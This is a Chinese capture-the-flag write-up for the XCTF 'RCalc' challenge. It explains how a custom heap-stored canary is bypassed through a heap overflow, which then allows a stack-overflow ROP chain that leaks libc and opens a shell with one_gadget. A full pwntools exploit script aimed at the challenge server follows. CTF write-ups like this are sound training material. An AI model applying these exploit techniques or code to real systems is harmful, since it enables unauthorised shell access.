XCTF-RCalc-WP
这是一个挺有意思的栈溢出题,很久没做过栈溢出了,居然看了很久才发现漏洞点是栈溢出..

这里很明显有栈溢出,然后下面的
result = sub_400B92();
if ( result != v2 )
sub_400BD4();
感觉像是 canary,但是 checksec
一下发现并没有开启 canary

然后看一下 sub_400AAB
这个函数

发现是一个随机数生成的函数,并存到了 *(qword_6020F0 + 8) + 8 * (*qword_6020F0 - 1)
中
而 sub_400B92
函数

则是从 *(qword_6020F0 + 8) + 8 * (*qword_6020F0) - 8
中取回,也就是之前放进去的地方。也就是说这里是出题人自己实现了一个 canary,那么我们就无法直接栈溢出了。

从这里则可以知道,qword_6020F0 + 8
指向一个堆块的头。
然后再来看计算器中保存结果的这个函数

发现他是存到一个堆块中的,并且这个堆块在存 canary 的那个堆块的前面,也就是说我们完全可以利用计算器存储结果的这个函数实现堆溢出,溢出到储存 canary 的堆块里面,把我们栈溢出的函数保留的 canary 改为一个我们控制的值,在栈溢出时就可以覆盖 canary 了,这样就可以进行 rop 了。
又由于是 %s
造成的栈溢出,所以空格和换行都不能出现在 payload 中,__libc_start_main@got
是唯一一个不含空格的 got 表项,printf@plt
不含空格,而 puts@plt
含,所以也需要使用 printf
。这样 leak 出了 libc_base 之后,就可以尝试 getshell 了,一般的做法是用 system
,但是不知道为什么,我用 system
无法打通,会出现这样的错误:

遂使用 one_gadget
,打通
exp
#!/usr/bin/env python
# coding=utf-8
from pwn import *
from LibcSearcher import *
context.terminal = ["tmux","splitw","-h"]
#context.log_level = 'debug'
elf = ELF('./RCalc')
pop_rdi_ret = 0x401123
csu1 = 0x40111A
csu2 = 0x401100
def add_once():
sh.sendlineafter("choice:",'1')
sh.sendlineafter("integer: ",'0')
sh.sendline('0')
sh.sendlineafter("result? ",'yes')
#sh = process("./RCalc")
sh = remote("111.200.241.244",37644)
payload = 'a' * 0x108 + p64(0) + p64(0)
payload += p64(0x4007fe) #ret,stack align
payload += p64(pop_rdi_ret)
payload += p64(elf.got["__libc_start_main"])
payload += p64(elf.symbols["printf"])
payload += p64(0x401094) #ret2overflow
sh.sendlineafter("pls: ",payload)
for i in range(34 + 1):
add_once()
#gdb.attach(proc.pidof(sh)[0])
sh.sendlineafter("choice:",'5')
__libc_start_main_addr = u64(sh.recv(6) + '\x00\x00')
libcs = LibcSearcher("__libc_start_main",__libc_start_main_addr)
libc_base = __libc_start_main_addr - libcs.dump("__libc_start_main")
libc = ELF("./libc.so.6")
log.success("libc_base:" + hex(libc_base))
system_addr = libc_base + libc.symbols["system"]
bin_sh_addr = libc_base + libc.search("/bin/sh").next()
one_gadget = libc_base + 0x4526a
log.success("system_addr:" + hex(system_addr))
log.success("bin_sh_addr:" + hex(bin_sh_addr))
payload = 'a' * 0x108 + p64(0) + p64(0)
#payload += p64(pop_rdi_ret)
#payload += p64(bin_sh_addr)
#payload += p64(system_addr)
payload += p64(one_gadget)
sh.sendlineafter("pls: ",payload)
for i in range(34 + 1):
add_once()
sh.sendlineafter("choice:",'5')
sh.interactive()